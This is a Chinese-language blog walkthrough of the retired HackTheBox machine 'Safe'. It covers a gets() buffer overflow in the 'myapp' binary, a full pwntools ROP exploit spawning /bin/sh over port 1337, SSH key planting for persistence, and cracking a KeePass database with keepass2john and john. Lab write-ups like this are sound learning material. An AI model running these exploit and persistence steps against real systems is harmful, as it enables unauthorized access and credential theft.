這星期的退休機器我並沒有解到
但是我看了IPPSec的影片後覺得這機器好像挺好玩的
所以就來做做看
題目也已退休了所以此次標題為WalkThrough.
先上nmap:
nmap -sC -sV -o nmap.txt 10.10.10.147
# Nmap 7.80 scan initiated Sun Oct 27 07:25:50 2019 as: nmap -sC -sV -o nmap.txt 10.10.10.147
Nmap scan report for 10.10.10.147
Host is up (0.28s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 6d:7c:81:3d:6a:3d:f9:5f:2e:1f:6a:97:e5:00:ba:de (RSA)
| 256 99:7e:1e:22:76:72:da:3c:c9:61:7d:74:d7:80:33:d2 (ECDSA)
|_ 256 6a:6b:c3:8e:4b:28:f7:60:85:b1:62:ff:54:bc:d8:d6 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Oct 27 07:26:38 2019 -- 1 IP address (1 host up) scanned in 48.17 seconds
有Port80,先進網頁看一下
是一個運行Apache服務的預設首頁
檢視原始碼可以發現在port 1337有開額外的程式給我們跑跟下載
如果用
nmap -p- -v -o nmap_verbosity.txt 10.10.10.147
的話也可以發現到port 1337是開著的。
我有先在此網頁嘗試一下簡單的注入,或是繞過
但是都沒有甚麼效果
因此把myapp下載下來。
熟悉的味道,沒有原始碼,只有個程式
先上IDA pro:
此為main函數:
.text:000000000040115F ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:000000000040115F public main
.text:000000000040115F main proc near ; DATA XREF: _start+1D↑o
.text:000000000040115F
.text:000000000040115F s = byte ptr -70h
.text:000000000040115F
.text:000000000040115F push rbp
.text:0000000000401160 mov rbp, rsp
.text:0000000000401163 sub rsp, 70h
.text:0000000000401167 lea rdi, command ; "/usr/bin/uptime"
.text:000000000040116E call _system
.text:0000000000401173 lea rdi, format ; "\nWhat do you want me to echo back? "
.text:000000000040117A mov eax, 0
.text:000000000040117F call _printf
.text:0000000000401184 lea rax, [rbp+s]
.text:0000000000401188 mov esi, 3E8h
.text:000000000040118D mov rdi, rax
.text:0000000000401190 mov eax, 0
.text:0000000000401195 call _gets
.text:000000000040119A lea rax, [rbp+s]
.text:000000000040119E mov rdi, rax ; s
.text:00000000004011A1 call _puts
.text:00000000004011A6 mov eax, 0
.text:00000000004011AB leave
.text:00000000004011AC retn
.text:00000000004011AC main endp
流程很簡單,
預留一個 0x70h 的變數空間 ( 112 bytes )
CALL出時間
接著再printf出 What do you want me to echo back?
get你的輸入(位址為剛剛預留的空間)
接著put輸出。
能發現漏洞地方為put長度可以無限制,而輸入空間只有112 bytes, 造成buffer overflow。
且題目很刻意的留了個system函數在此
想法是利用buffer overflow 淹沒120個字元(112的預留空間配上舊rbp的8bytes,再上去就是ret值了)
啟動system函數(rdi為/bin/sh啟動shell)
要控制的寄存器為rdi以及rip。
情況應該會長這樣:
於是乎,
ROPgadget --binary ./myapp > myapp_ROPgadget
cat myapp_ROPgadget | grep rdi
test@kali:/test/safe# cat myapp_ROPgadget | grep rdi
0x00000000004010c6 : or dword ptr [rdi + 0x404048], edi ; jmp rax
0x000000000040120b : pop rdi ; ret
原本很天真地以為有pop rdi可以利用...
但是發現上面的
lea rdi, command ; "/usr/bin/uptime"
call _system
假使我今天寫/bin/sh到stack上
我pop rdi出來也就是單純的string value而已
需要的是/bin/sh這值所在的位址
因此我嘗試:
cat myapp_ROPgadget | grep lea
test@kali:/test/safe# cat myapp_ROPgadget | grep lea
0x00000000004011a7 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x00000000004011a9 : add byte ptr [rax], al ; leave ; ret
0x00000000004011ab : leave ; ret
0x00000000004011a6 : mov eax, 0 ; leave ; ret
並沒有找到我想要的結果.......
因此我們想想另一種方法!
找跟rsp有關的gadget來把rsp的值(正好指向我們所造/bin/sh字串時)
賦予到rdi中
於是乎:
cat myapp_ROPgadget | grep rsp
test@kali:/test/safe# cat myapp_ROPgadget | grep rsp
0x0000000000401012 : add rsp, 8 ; ret
0x00000000004011f2 : call qword ptr [rsp + rbx*8]
0x0000000000401205 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000401215 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000401214 : sub rsp, 8 ; add rsp, 8 ; ret
。。。
好像沒找到有用的東西
沒關西我們用objdump配合著IDA看看程式前後文有沒有希望的地方吧!
objdump -d ./myapp | grep rsp
test@kali:/test/safe# objdump -d ./myapp | grep rsp
401000: 48 83 ec 08 sub $0x8,%rsp
401012: 48 83 c4 08 add $0x8,%rsp
401076: 48 89 e2 mov %rsp,%rdx
401079: 48 83 e4 f0 and $0xfffffffffffffff0,%rsp
40107e: 54 push %rsp
40112a: 48 89 e5 mov %rsp,%rbp
401153: 48 89 e5 mov %rsp,%rbp
401156: 48 89 e7 mov %rsp,%rdi
401160: 48 89 e5 mov %rsp,%rbp
401163: 48 83 ec 70 sub $0x70,%rsp
4011d4: 48 83 ec 08 sub $0x8,%rsp
4011fe: 48 83 c4 08 add $0x8,%rsp
401214: 48 83 ec 08 sub $0x8,%rsp
401218: 48 83 c4 08 add $0x8,%rsp
其中401156
的地方我們到IDA裡面看一下
會發現是一個很奇怪且故意設計好的小巧test函數...
.text:0000000000401152 public test
.text:0000000000401152 test proc near
.text:0000000000401152 push rbp
.text:0000000000401153 mov rbp, rsp
.text:0000000000401156 mov rdi, rsp
.text:0000000000401159 jmp r13
.text:0000000000401159 test endp
還很方便地給個jmp r13 XD
所以接著我們尋找跟r13相關的gadget
cat myapp_ROPgadget | grep r13
test@kali:/test/safe# cat myapp_ROPgadget | grep r13
0x00000000004011ee : mov edi, r13d ; call qword ptr [r12 + rbx*8]
0x0000000000401204 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401206 : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401203 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401205 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
我選定 pop r13; pop r14; poop r15; ret這行來用。
想法是:
先淹沒120個A,ret到執行pop r13; pop r14; poop r15; ret的Gadget
先改變r13的值,因為之後會用到test函數裡的jmp r13
利用mov rdi, rsp
前面再填充shell code,並且利用rsp把我們shellcode的地址賦予rdi之後
呼叫system函數。
因此payload會如下圖這樣:
我的payload:
from pwn import *
in_main_system = 0x40116E #401040 40116E
mov_rsp_to_rdi_jmp13 = 0x401156
pop_r13_r14_r15_ret = 0x401206
bin_sh = "/bin/sh\x00".encode()
padding = 'A'*120
null = p64(0x0)
plt_main = p64(0x40115f)
payload = padding.encode() + p64(pop_r13_r14_r15_ret) + p64(in_main_system) + null + null + p64(mov_rsp_to_rdi_jmp13) + bin_sh
r = remote("10.10.10.147", 1337)
#r.recvuntil('What do you want me to echo back?')
r.sendline(payload)
r.interactive()
python exploit.py就可以拿到User shell了。
接著可以用ssh-keygen產生公私鑰
把他加到server的user .ssh/authorized_keys
步驟如下不贅述:
在本地端:
ssh-keygen -f safe
chmod 600 safe
chmod 600 safe.pub
切換到server那:
cd /home/user/.ssh
echo 'ssh-rsa ****' > authorized_keys
回本地端:
ssh -i safe user@10.10.10.147
拿到好一點的User Shell
在/home/user下可以發現有MyPasswords.kdbx
以及許多圖片檔案
user@safe:~$ ls -la
total 11284
drwxr-xr-x 3 user user 4096 May 13 11:18 .
drwxr-xr-x 3 root root 4096 May 13 08:34 ..
lrwxrwxrwx 1 user user 9 May 13 08:38 .bash_history -> /dev/null
-rw-r--r-- 1 user user 220 May 13 08:34 .bash_logout
-rw-r--r-- 1 user user 3526 May 13 08:34 .bashrc
-rw-r--r-- 1 user user 1907614 May 13 11:15 IMG_0545.JPG
-rw-r--r-- 1 user user 1916770 May 13 11:15 IMG_0546.JPG
-rw-r--r-- 1 user user 2529361 May 13 11:15 IMG_0547.JPG
-rw-r--r-- 1 user user 2926644 May 13 11:15 IMG_0548.JPG
-rw-r--r-- 1 user user 1125421 May 13 11:15 IMG_0552.JPG
-rw-r--r-- 1 user user 1085878 May 13 11:15 IMG_0553.JPG
-rwxr-xr-x 1 user user 16592 May 13 08:47 myapp
-rw-r--r-- 1 user user 2446 May 13 11:15 MyPasswords.kdbx
-rw-r--r-- 1 user user 675 May 13 08:34 .profile
drwx------ 2 user user 4096 Oct 28 04:29 .ssh
-rw------- 1 user user 33 May 13 09:25 user.txt
可以發現到這是一個keepass密碼儲存軟體的資料庫檔案
破解方法可以參考:
https://www.rubydevices.com.au/blog/how-to-hack-keepass
https://blog.chaos.run/dreams/hashcat-recall-keepass-password/
猜測這些圖片應該就是解MyPasswords.kdbx的key
本來想用hashcat來解但是不知道為甚麼狀況很多...
因此把各個圖片下載後透過keepass2john用成hash以及john the ripper來破解
keepass2john -k IMG_0545.JPG MyPasswords.kdbx >> first.txt
keepass2john -k IMG_0546.JPG MyPasswords.kdbx >> second.txt
keepass2john -k IMG_0547.JPG MyPasswords.kdbx >> third.txt
keepass2john -k IMG_0548.JPG MyPasswords.kdbx >> forth.txt
keepass2john -k IMG_0552.JPG MyPasswords.kdbx >> fiveth.txt
keepass2john -k IMG_0553.JPG MyPasswords.kdbx >> sixth.txt
hash出來後用john暴力破解
發現IMG_0547.JPG正是我們要的key,而且資料庫密碼為bullshit
john --wordlist=/root/rockyou.txt third.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
bullshit (MyPasswords)
1g 0:00:00:12 DONE (2019-10-28 05:46) 0.07905g/s 79.76p/s 79.76c/s 79.76C/s bullshit
Use the "--show" option to display all of the cracked passwords reliably
Session completed
接著我在我的windows電腦安裝KeePass,匯入MyPasswords.kdbx後
利用密碼bullshit
及圖片IMG_0547.JPG
進入了資料庫。
按右鍵即可複製密碼。
接著利用此密碼就可以拿到root shell了
我覺得此題難度應該設為中等
可能出題者以玩pwn人的角度來看,覺得此題的pwn題型偏簡單
加上後面的密碼資料庫也不難猜測以及破解
但是相比HTB其他簡單題目類型來講我覺得還是稍微難一點。
配合Binary Exploitaion的題目是我第一次玩到
很有趣,因此也把過程記下來。